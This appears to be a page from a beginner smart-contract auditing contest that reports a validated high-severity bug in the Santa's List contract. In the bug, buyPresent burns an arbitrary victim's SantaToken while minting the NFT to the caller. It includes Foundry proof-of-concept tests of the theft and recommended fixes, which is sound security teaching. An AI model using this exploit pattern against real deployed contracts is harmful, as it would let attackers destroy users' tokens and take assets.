Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

[H-02] `SantasList::buyPresent` burns the token of `presentReceiver` but mints the NFT to `msg.sender`, allowing any attacker to destroy a victim's `SantaToken` and steal the present for themselves

Description

SantasList::buyPresent is designed to allow a user to spend 1 SantaToken to purchase a present NFT. However, the function burns the token from presentReceiver — an arbitrary address passed by the caller — while _mintAndIncrement mints the resulting NFT to msg.sender. The burn target and the mint recipient are completely decoupled, meaning any attacker can drain a victim's SantaToken balance and collect the NFT for themselves in a single call.

function buyPresent(address presentReceiver) external {
@> i_santaToken.burn(presentReceiver); // burns victim's token
@> _mintAndIncrement(); // mints NFT to msg.sender, not presentReceiver
}

The attack requires only that the victim holds a SantaToken and has previously approved SantasList to spend it — which any EXTRA_NICE user who called SantasList::collectPresent will have done. The attacker spends nothing and walks away with a free NFT while the victim permanently loses their SantaToken.


Impact

Severity: High

  • Any address holding a SantaToken with an existing approval on SantasList can have their token burned by an attacker at zero cost.

  • The attacker receives a present NFT they never earned and never paid for.

  • The victim loses their SantaToken permanently with no compensation or recourse.

  • The attack is repeatable — any attacker can loop through all SantaToken holders and drain every eligible balance, collecting one NFT per victim.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
import {SantaToken} from "../src/SantaToken.sol";
contract SantasListBuyPresentTest is Test {
SantasList santasList;
SantaToken santaToken;
address santa = makeAddr("santa");
address user = makeAddr("user");
address attk = makeAddr("attacker");
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
}
function test_attackOnBuyPresent() public {
// Step 1: User is legitimately marked EXTRA_NICE by Santa
vm.prank(user);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
vm.prank(santa);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
// Step 2: Warp to Christmas and user collects their present + SantaToken
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
vm.stopPrank();
// Confirm user holds 1 NFT and 1 SantaToken
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
// Step 3: Attacker calls buyPresent targeting the user
// Burns user's SantaToken — mints NFT to attacker
vm.startPrank(attk);
santasList.buyPresent(user);
vm.stopPrank();
console.log("User NFT balance:", santasList.balanceOf(user)); // 1 (original only)
console.log("User SantaToken balance:", santaToken.balanceOf(user)); // 0 (burned)
console.log("Attacker NFT balance:", santasList.balanceOf(attk)); // 1 (stolen)
// User's SantaToken is gone — attacker received the NFT
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 0);
assertEq(santasList.balanceOf(attk), 1);
}
}

Expected output:

User NFT balance: 1 // original present unchanged
User SantaToken balance: 0 // token burned by attacker at zero cost
Attacker NFT balance: 1 // free NFT collected by attacker

Mitigation

Both the burn and the mint must target the same address. Since the intent of SantasList::buyPresent is for the caller to spend their own token and receive the NFT, replace presentReceiver with msg.sender for the burn and remove the misleading parameter entirely. Alternatively, if gifting to another address is the intended design, mint to presentReceiver instead of msg.sender.

Option A — Caller buys for themselves (recommended):

function buyPresent() external {
i_santaToken.burn(msg.sender); // burn caller's own token
_mintAndIncrement(); // mint NFT to msg.sender
}

Option B — Caller gifts to another address:

function buyPresent(address presentReceiver) external {
i_santaToken.burn(msg.sender); // burn caller's own token
_mintAndIncrement(presentReceiver); // mint NFT to intended recipient
}

Note: Option A is the safer default — it eliminates the parameter entirely, removing any ambiguity about who pays and who receives. If Option B is chosen, ensure _mintAndIncrement is updated to accept and use the recipient address rather than defaulting to msg.sender.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 10 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!